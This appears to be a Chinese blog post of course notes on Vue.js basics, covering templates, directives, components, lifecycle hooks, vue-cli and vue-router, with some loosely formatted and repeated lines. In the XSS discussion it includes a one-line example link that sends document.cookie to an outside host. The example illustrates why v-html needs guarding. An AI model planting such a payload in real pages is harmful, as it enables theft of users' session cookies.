美文网首页
千锋vue基础教程2020

千锋vue基础教程2020

作者: JLong | 来源:发表于2020-04-03 10:42 被阅读0次

    一. Vue 基础

    1. 模板语法

    (1)插值

    a.文本 {{}}

    b.纯HTML

    v-html ,防止XSS,csrf(

    (1) 前端过滤

    (2) 后台转义(< > < >)(3) 给cookie 加上属性 http

    )

    c.表达式

    (2)指令:是带有 v- 前缀的特殊属性

    v-bind

    v-if v-show

    v-on:click

    v-for

    (3)缩写

    v-bind:src => :src

    v-on:click => @click

    2. class 与 style

    (1)绑定HTML Class

    -对象语法

    -数组语法

    (2)绑定内联样式

    -对象语法

    -数组语法

    //需要将 font-size =>fontSize

    3. 条件渲染

    1 <ahref=javascript:location.href='http://www.baidu.com?

    cookie='+document.cookie>click</a>

    2 // 删除& nbsp; 和 cookie前面的空格

    (1)v-if

    (2)v-else v-else-if

    (3)template v-if ,包装元素template 不会被创建(4)v-show

    4. 列表渲染

    (1)v-for (特殊 v-for="n in 10")

    a. in

    b. of

    (2)key:

    *跟踪每个节点的身份,从而重用和重新排序现有元素

    *理想的 key 值是每项都有的且唯一的 id。data.id

    (3)数组更新检测

    a. 使用以下方法操作数组,可以检测变动

    push() pop() shift() unshift() splice() sort() reverse()

    b. filter(), concat() 和 slice() ,map(),新数组替换旧数组

    c. 不能检测以下变动的数组

    vm.items[indexOfItem] = newValue

    *解决* (1)Vue.set(example1.items, indexOfItem, newValue)

    (2)splice

    (4)应用:显示过滤结果

    5. 事件处理

    (1)监听事件-直接触发代码

    (2)方法事件处理器-写函数名 handleClick(3)内联处理器方法-执行函数表达式 handleClick($event)(4)事件修饰符 https://cn.vuejs.org/v2/guide/events.html(5)按键修饰符

    6. 表单控件绑定/双向数据绑定

    v-model

    (1)基本用法

    $event 事件对象

    -购物车

    (2)修饰符

    .lazy :失去焦点同步一次

    .number :格式化数字

    .trim : 去除首尾空格


    一. Vue组件

    1. axios与fetch实现数据请求

    (1)fetch

    why:

    XMLHttpRequest 是一个设计粗糙的 API,配置和调用方式非常混乱,而且基于事件的异步模型写起来不友好。

    兼容性不好

    polyfill:

    https://github.com/camsong/fetch-ie8

    //get

    注意:

    Fetch 请求默认是不带 cookie 的,需要设置 fetch(url, {credentials:'include'})

    (2) axios

    2. 计算属性

    复杂逻辑,模板难以维护

    (1) 基础例子

    (2) 计算缓存 VS methods

    -计算属性是基于它们的依赖进行缓存的。

    -计算属性只有在它的相关依赖发生改变时才会重新求值

    (3) 计算属性 VS watch

    - v-model

    3. Mixins

    混入 (mixins) 是一种分发 Vue 组件中可复用功能的非常灵活的方式。

    混入对象可以包含任意组件选项。

    当组件使用混入对象时,所有混入对象的选项将被混入该组件本身的选项。

    https://cn.vuejs.org/v2/guide/mixins.html#%E5%9F%BA%E7%A1%80

    4. 虚拟dom与diff算法 key的作用

    5. 组件化开发基础

    扩展 HTML 元素,封装可重用的代码

    6. 组件注册方式

    a.全局组件

    Vue.component

    b.局部组件

    7. 组件编写方式与Vue实例的区别

    *自定义组件需要有一个root element

    *父子组件的data是无法共享*组件可以有data,methods,computed....,但是data 必须是一个函数

    8. 组件通信

    i. 父子组件传值 (props down, events up)

    ii. 属性验证

    props:{name:Number}

    Number,String,Boolean,Array,Object,Function,null(不限制类型)

    iii. 事件机制

    a.使用 $on(eventName) 监听事件b.使用 $emit(eventName) 触发事件

    iv. Ref

    this.$refs.mytext

    v. 事件总线

    var bus = new Vue();

    * mounted生命周期中进行监听

    9. 动态组件

    *<component> 元素,动态地绑定多个组件到它的 is 属性

    *<keep-alive> 保留状态,避免重新渲染

    父传子:props:{name:Number}

    子传父: 1)$emit 传值以及触发父元素事件   2)ref 直接获取子元素属性

    非父子关系传值:建立中央事件总线作为中转站

    10.监听事件

    watch和methods平级

    1.watch监听数据变化

    使用这个 属性,可以监视 data 中指定数据的变化,然后触发这个 watch 中对应的 function 处理函数

    该方法可以不用绑定事件

    二. Vue 进阶

    1. slot插槽 (内容分发)

    有点类似父子控制状态方式,可代替,用起来更方便、简洁

    a. 单个slot

    b. 具名slot

    *混合父组件的内容与子组件自己的模板-->内容分发*父组件模板的内容在父组件作用域内编译;子组件模板的内容在子组件作用域内编译。

    2. transition过渡

    Vue 在插入、更新或者移除 DOM 时,提供多种不同方式的应用过渡效果。

    (1)单元素/组件过渡

    * css过渡

    * css动画

    * 结合animate.css动画库

    (2) 多个元素过渡(设置key)

    *当有相同标签名的元素切换时,需要通过 key 特性设置唯一的值来标记以让 Vue 区分它们,否则 Vue 为

    了效率只会替换相同标签内部的内容。

    mode:in-out ; out-in

    (3)多个组件过渡

    (4)列表过渡(设置key)

    *<transition-group>不同于 transition, 它会以一个真实元素呈现:默认为一个 <span>。你也可以通过

    tag 特性更换为其他元素。

    * 提供唯一的 key 属性值

    3. 生命周期

    i. 生命周期各个阶段

    https://cn.vuejs.org/v2/guide/instance.html#%E7%94%9F%E5%91%BD%E5%91%A8%E6%9C%9F%E5%9B%BE%E7%A4%BA

    vue每个组件都是独立的,每个组件都有一个属于它的生命周期,从一个组件创建、数据初始化、挂载、更新、销毁,这就是一个组件所谓的生命周期。在组件中具体的方法有:

        beforeCreate:

    在实例初始化之后,数据观测(data observer) 和 event/watcher 事件配置之前被调用。

        created:

    实例已经创建完成之后被调用。在这一步,实例已完成以下的配置:数据观测(data observer),属性和方法的运算, watch/event 事件回调。然而,挂载阶段还没开始,$el 属性目前不可见。

        beforeMount:

    在挂载开始之前被调用:相关的 render 函数首次被调用。

        mounted:

    el 被新创建的 vm.$el 替换,并挂载到实例上去之后调用该钩子。如果 root 实例挂载了一个文档内元素,当 mounted 被调用时 vm.$el 也在文档内。

        beforeUpdate:

    数据更新时调用,发生在虚拟 DOM 重新渲染和打补丁之前。 你可以在这个钩子中进一步地更改状态,这不会触发附加的重渲染过程。

        updated:

    由于数据更改导致的虚拟 DOM 重新渲染和打补丁,在这之后会调用该钩子。

    当这个钩子被调用时,组件 DOM 已经更新,所以你现在可以执行依赖于 DOM 的操作。然而在大多数情况下,你应该避免在此期间更改状态,因为这可能会导致更新无限循环。

    该钩子在服务器端渲染期间不被调用。

        beforeDestroy:

    实例销毁之前调用。在这一步,实例仍然完全可用。

        destroyed:

    Vue 实例销毁后调用。调用后,Vue 实例指示的所有东西都会解绑定,所有的事件监听器会被移除,所有的子实例也会被销毁。 该钩子在服务器端渲染期间不被调用。

    ii. 生命周期钩子函数的触发条件与作用

    4. swiper学习

    https://www.swiper.com.cn/

    5. 自定义组件的封装

    自定义封装swiper组件(基于swiper)注意: 防止swipe初始化过早

    6. 自定义指令

    (1)自定义指令介绍 directives

    (2)钩子函数

    * 参数 el,binding,vnode(vnode.context)

    * bind,inserted,update,componentUpdated,unbind

    (3)函数简写

    (4)自定义指令-轮播

    *inserted 插入最后一个元素时调用(vnode.context.datalist.length-1)

    *this.$nextTick()

    7. 过滤器

    https://cn.vuejs.org/v2/guide/filters.html

    ele图片转换,猫眼电影图片转换

    实例已经创建完成之后被调用。在这一步,实例已完成以下的配置:数据观测(data observer),属性和方法的运算, watch/event 事件回调。然而,挂载阶段还没开始,$el 属性目前不可见。


    三. Vue 进阶

    1.单文件组件

    https://cn.vuejs.org/v2/guide/single-file-components.html

    2.vue-cli3.0的使用

    npm install -g @vue/cli (一次安装) node-sass需要单独处理

    vue create myapp

    *npm run serve 开发环境构建

    *npm run build 生产环境构建

    *npm run lint 代码检测工具(会自动修正)

    3. Vue.config.js的配置

    (1) proxy代理

    https://cli.vuejs.org/zh/config/#%E5%85%A8%E5%B1%80-cli-%E9%85%8D%E7%BD%AE

    (2) alias别名配置

    @ is an alias to /src

    (3) vue.config.js 中配置 publicPath: './',

    在类似 Cordova hybrid 应用的文件系统中(配合hash模式)

    (4)关闭eslint

    vue.config.js lintOnSave: false.eslintrc 删除 '@vue/standard'

    npm run lint (eslint自动修复格式不规范错误)

    (5) Json-server实现mock数据

    https://github.com/typicode/json-server

    注意: 不支持string, number 类型

    (6) MPA(多页面)应用的配置

    https://cli.vuejs.org/zh/config/#pages

    4. 利用vue-cli进行组件化开发

    4. 利用vue-cli进行组件化开发

    迁移todolist、swiper案例到vue-cli中

    进阶

    1. SPA概念(单页面应用)

    i. spa原理

    ii. 优缺点

    2.vue-router

    开始

    动态路由匹配

    嵌套路由

    编程式导航 (js跳转) vs 声明式导航<router-link>

    命名路由

    命名视图

    重定向和别名{

    path:"*",

    redirect:"/home"

    }

    HTML5 History模式vue支持两种模式

    a. hash #/home

    b. history /home

    路由守卫&路由拦截a. 全局拦截

    b. 单个拦截

    (1)hash路由 ==> location.hash 切换

    window.onhashchange 监听路径的切换

    (2)history路由==> history.pushState 切换

    window.onpopstate 监听路径的切换

    4. 项目

    (1) 启动案例项目开发

    (2) 利用vue-router搭建项目SPA结构

    相关文章

      网友评论

          本文标题:千锋vue基础教程2020

          本文链接:https://www.haomeiwen.com/subject/ztcgyhtx.html